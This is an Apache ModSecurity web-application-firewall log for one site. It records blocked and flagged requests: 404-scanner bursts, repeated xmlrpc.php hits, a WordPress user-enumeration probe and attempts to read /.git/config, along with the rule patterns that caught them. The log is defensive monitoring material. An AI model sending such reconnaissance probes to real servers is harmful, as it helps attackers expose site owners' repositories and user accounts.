[Tue Feb 10 04:29:58.454790 2026] [:error] [pid 47937:tid 47940] [client 65.108.125.120:39558] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYpDxspqXpC2CvJ3fONuYQAAAME"]
[Tue Feb 10 04:30:00.412521 2026] [:error] [pid 47937:tid 47946] [client 65.108.125.120:39564] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYpDyMpqXpC2CvJ3fONuZwAAAMc"]
[Tue Feb 10 04:30:02.530005 2026] [:error] [pid 47830:tid 47868] [client 65.108.125.120:39580] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYpDykco45BZs8e301AXzAAAABY"]
[Tue Feb 10 04:30:04.496516 2026] [:error] [pid 47937:tid 47940] [client 65.108.125.120:39584] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYpDzMpqXpC2CvJ3fONucwAAAME"]
[Tue Feb 10 04:30:06.510112 2026] [:error] [pid 47837:tid 47901] [client 65.108.125.120:39596] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYpDznFY8KYFPX79Z4nEnQAAAIE"]
[Tue Feb 10 04:30:08.641783 2026] [:error] [pid 47837:tid 47917] [client 65.108.125.120:16286] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYpD0HFY8KYFPX79Z4nEpwAAAJE"]
[Tue Feb 10 04:30:11.212315 2026] [:error] [pid 47837:tid 47924] [client 65.108.125.120:16298] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYpD03FY8KYFPX79Z4nEsQAAAJg"]
[Tue Feb 10 04:30:13.459053 2026] [:error] [pid 47837:tid 47900] [client 65.108.125.120:16314] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYpD1XFY8KYFPX79Z4nEtgAAAIA"]
[Tue Feb 10 04:30:15.575140 2026] [:error] [pid 47830:tid 47853] [client 65.108.125.120:16324] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aYpD10co45BZs8e301AX4wAAAAc"]
[Tue Feb 10 04:30:17.664123 2026] [:error] [pid 47837:tid 47919] [client 65.108.125.120:8344] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aYpD2XFY8KYFPX79Z4nEvgAAAJM"]
[Tue Feb 10 04:30:19.684498 2026] [:error] [pid 47831:tid 47881] [client 65.108.125.120:8358] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYpD2ydxbZYarWVkiAAgDwAAAEg"]
[Tue Feb 10 04:30:21.733789 2026] [:error] [pid 47937:tid 47941] [client 65.108.125.120:8372] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYpD3cpqXpC2CvJ3fONuoAAAAMI"]
[Tue Feb 10 04:30:23.795265 2026] [:error] [pid 47937:tid 47963] [client 65.108.125.120:8374] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYpD38pqXpC2CvJ3fONuqAAAANg"]
[Tue Feb 10 05:01:39.458369 2026] [:error] [pid 30054:tid 30066] [client 211.21.61.245:45188] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpLM2ecgOOXCu-GgYUHuwAAAQo"]
[Tue Feb 10 05:01:59.985530 2026] [:error] [pid 30054:tid 30064] [client 138.94.53.228:53988] [client 138.94.53.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.94.53.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpLR2ecgOOXCu-GgYUIIAAAAQg"]
[Tue Feb 10 05:08:52.238352 2026] [:error] [pid 47937:tid 47952] [client 43.156.232.190:40330] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYpM5MpqXpC2CvJ3fOODBwAAAM0"]
[Tue Feb 10 05:53:28.301764 2026] [:error] [pid 47837:tid 47915] [client 49.12.171.11:36486] [client 49.12.171.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.12.171.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpXWHFY8KYFPX79Z4noHQAAAI8"]
[Tue Feb 10 06:44:21.422948 2026] [:error] [pid 47837:tid 47908] [client 27.118.26.5:44856] [client 27.118.26.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.118.26.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjRXFY8KYFPX79Z4n8QgAAAIg"]
[Tue Feb 10 06:44:29.459686 2026] [:error] [pid 47937:tid 47953] [client 203.162.234.20:51858] [client 203.162.234.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.162.234.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjTcpqXpC2CvJ3fOOrCAAAAM4"]
[Tue Feb 10 06:44:38.781065 2026] [:error] [pid 30054:tid 30070] [client 68.65.122.212:44216] [client 68.65.122.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.65.122.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjVmecgOOXCu-GgYVC-AAAAQ4"]
[Tue Feb 10 06:44:51.721505 2026] [:error] [pid 30054:tid 30061] [client 27.118.26.5:57808] [client 27.118.26.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.118.26.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjY2ecgOOXCu-GgYVDHQAAAQU"]
[Tue Feb 10 06:44:59.974747 2026] [:error] [pid 30054:tid 30062] [client 162.0.235.223:57786] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpja2ecgOOXCu-GgYVDXwAAAQY"]
[Tue Feb 10 06:45:29.791992 2026] [:error] [pid 47937:tid 47945] [client 123.56.84.225:33422] [client 123.56.84.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.56.84.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjicpqXpC2CvJ3fOOrTQAAAMY"]
[Tue Feb 10 06:46:05.878955 2026] [:error] [pid 47831:tid 47894] [client 159.89.207.222:53776] [client 159.89.207.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.207.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjrSdxbZYarWVkiABgIAAAAFU"]
[Tue Feb 10 06:46:08.443160 2026] [:error] [pid 47831:tid 47885] [client 159.89.207.222:53776] [client 159.89.207.222] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYpjsCdxbZYarWVkiABgIwAAAEw"]
[Tue Feb 10 06:46:10.223066 2026] [:error] [pid 47831:tid 47887] [client 159.89.207.222:53776] [client 159.89.207.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.207.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjsidxbZYarWVkiABgJgAAAE4"]
[Tue Feb 10 06:46:11.909066 2026] [:error] [pid 47831:tid 47876] [client 159.89.207.222:52539] [client 159.89.207.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.207.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjsydxbZYarWVkiABgKAAAAEM"]
[Tue Feb 10 06:46:13.707282 2026] [:error] [pid 30054:tid 30076] [client 159.89.207.222:64025] [client 159.89.207.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.207.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjtWecgOOXCu-GgYVDxwAAARQ"]
[Tue Feb 10 06:46:15.590162 2026] [:error] [pid 30054:tid 30074] [client 159.89.207.222:59324] [client 159.89.207.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.207.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjt2ecgOOXCu-GgYVDyQAAARI"]
[Tue Feb 10 06:46:17.494241 2026] [:error] [pid 47937:tid 47963] [client 159.89.207.222:53647] [client 159.89.207.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.207.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjucpqXpC2CvJ3fOOrhwAAANg"]
[Tue Feb 10 06:46:17.494445 2026] [:error] [pid 47937:tid 47963] [client 159.89.207.222:53647] [client 159.89.207.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 159.89.207.222, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpjucpqXpC2CvJ3fOOrhwAAANg"]
[Tue Feb 10 06:47:14.788352 2026] [:error] [pid 30054:tid 30063] [client 149.202.183.73:38394] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpj8mecgOOXCu-GgYVEUwAAAQc"]
[Tue Feb 10 07:42:18.834930 2026] [:error] [pid 47837:tid 47907] [client 20.163.27.0:40000] [client 20.163.27.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.163.27.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpw2nFY8KYFPX79Z4kUxwAAAIc"]
[Tue Feb 10 07:42:49.741334 2026] [:error] [pid 47837:tid 47910] [client 211.21.61.225:51690] [client 211.21.61.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYpw-XFY8KYFPX79Z4kU7wAAAIo"]
[Tue Feb 10 08:35:39.702784 2026] [:error] [pid 47937:tid 47944] [client 157.245.107.90:51024] [client 157.245.107.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.107.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYp9W8pqXpC2CvJ3fOPcmQAAAMU"]
[Tue Feb 10 09:29:13.103864 2026] [:error] [pid 47937:tid 47950] [client 192.206.141.63:39598] [client 192.206.141.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.206.141.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYqJ6cpqXpC2CvJ3fOPsCAAAAMs"]
[Tue Feb 10 09:29:22.607975 2026] [:error] [pid 47831:tid 47891] [client 96.46.48.39:50118] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYqJ8idxbZYarWVkiACl2wAAAFI"]
[Tue Feb 10 10:21:27.824705 2026] [:error] [pid 47831:tid 47891] [client 211.21.61.223:52536] [client 211.21.61.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYqWJydxbZYarWVkiACxgQAAAFI"]
[Tue Feb 10 11:17:10.326837 2026] [:error] [pid 47937:tid 47947] [client 51.210.113.223:53912] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYqjNspqXpC2CvJ3fOMOiAAAAMg"]
[Tue Feb 10 11:52:20.451545 2026] [:error] [pid 30054:tid 30074] [client 35.222.174.159:38438] [client 35.222.174.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.174.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYqrdGecgOOXCu-GgYXD9gAAARI"]
[Tue Feb 10 11:52:27.677759 2026] [:error] [pid 47837:tid 47906] [client 34.69.23.19:60758] [client 34.69.23.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.69.23.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYqre3FY8KYFPX79Z4lhgAAAAIY"]
[Tue Feb 10 11:53:51.635943 2026] [:error] [pid 47830:tid 47856] [client 50.6.224.234:57918] [client 50.6.224.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.224.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYqrz0co45BZs8e301DQWwAAAAo"]
[Tue Feb 10 12:11:15.355811 2026] [:error] [pid 47937:tid 47951] [client 168.119.6.33:27068] [client 168.119.6.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.119.6.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYqv48pqXpC2CvJ3fOMg8gAAAMw"]
[Tue Feb 10 12:43:11.892333 2026] [:error] [pid 59407:tid 59417] [client 124.156.226.179:50462] [client 124.156.226.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYq3X2LlhBXE3qmX-Jmy6wAAAUg"]
[Tue Feb 10 13:08:30.983468 2026] [:error] [pid 47830:tid 47866] [client 69.62.81.48:36320] [client 69.62.81.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.62.81.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYq9Tkco45BZs8e301Dv8AAAABQ"]
[Tue Feb 10 14:04:18.344078 2026] [:error] [pid 7704:tid 7722] [client 185.117.250.215:35072] [client 185.117.250.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.117.250.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYrKYv0EcqgVBUs6CW3GqAAAAc8"]
[Tue Feb 10 15:05:26.468597 2026] [:error] [pid 47830:tid 47865] [client 209.50.227.124:52574] [client 209.50.227.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.50.227.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYrYtkco45BZs8e301AdpAAAABM"]
[Tue Feb 10 15:59:50.946888 2026] [:error] [pid 47831:tid 47897] [client 161.35.14.71:46206] [client 161.35.14.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.14.71, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYrldidxbZYarWVkiAAYBgAAAFg"]
[Tue Feb 10 16:20:43.002152 2026] [:error] [pid 59544:tid 59548] [client 47.251.71.191:35786] [client 47.251.71.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.251.71.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYrqW6ZySR9mFY4Baim85wAAAYA"]
[Tue Feb 10 16:20:55.682949 2026] [:error] [pid 47937:tid 47952] [client 212.154.75.77:55795] [client 212.154.75.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.154.75.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYrqZ8pqXpC2CvJ3fONxEgAAAM0"]
[Tue Feb 10 16:21:08.908035 2026] [:error] [pid 47937:tid 47953] [client 129.226.82.190:45372] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYrqdMpqXpC2CvJ3fONxJwAAAM4"]
[Tue Feb 10 16:21:53.679033 2026] [:error] [pid 59544:tid 59569] [client 8.217.89.127:59944] [client 8.217.89.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.217.89.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYrqoaZySR9mFY4Baim9DgAAAZI"]
[Tue Feb 10 16:55:04.178144 2026] [:error] [pid 59407:tid 59419] [client 138.122.43.166:49548] [client 138.122.43.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.43.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYryaGLlhBXE3qmX-JnyiQAAAUo"]
[Tue Feb 10 17:30:02.868455 2026] [:error] [pid 47830:tid 47869] [client 159.203.169.213:51856] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYr6mkco45BZs8e301BIMwAAABc"]
[Tue Feb 10 17:30:07.565692 2026] [:error] [pid 47837:tid 47906] [client 159.203.169.213:55870] [client 159.203.169.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aYr6n3FY8KYFPX79Z4m8ZgAAAIY"]
[Tue Feb 10 17:53:13.928367 2026] [:error] [pid 47837:tid 47921] [client 178.79.141.80:60322] [client 178.79.141.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.79.141.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYsACXFY8KYFPX79Z4nDwgAAAJU"]
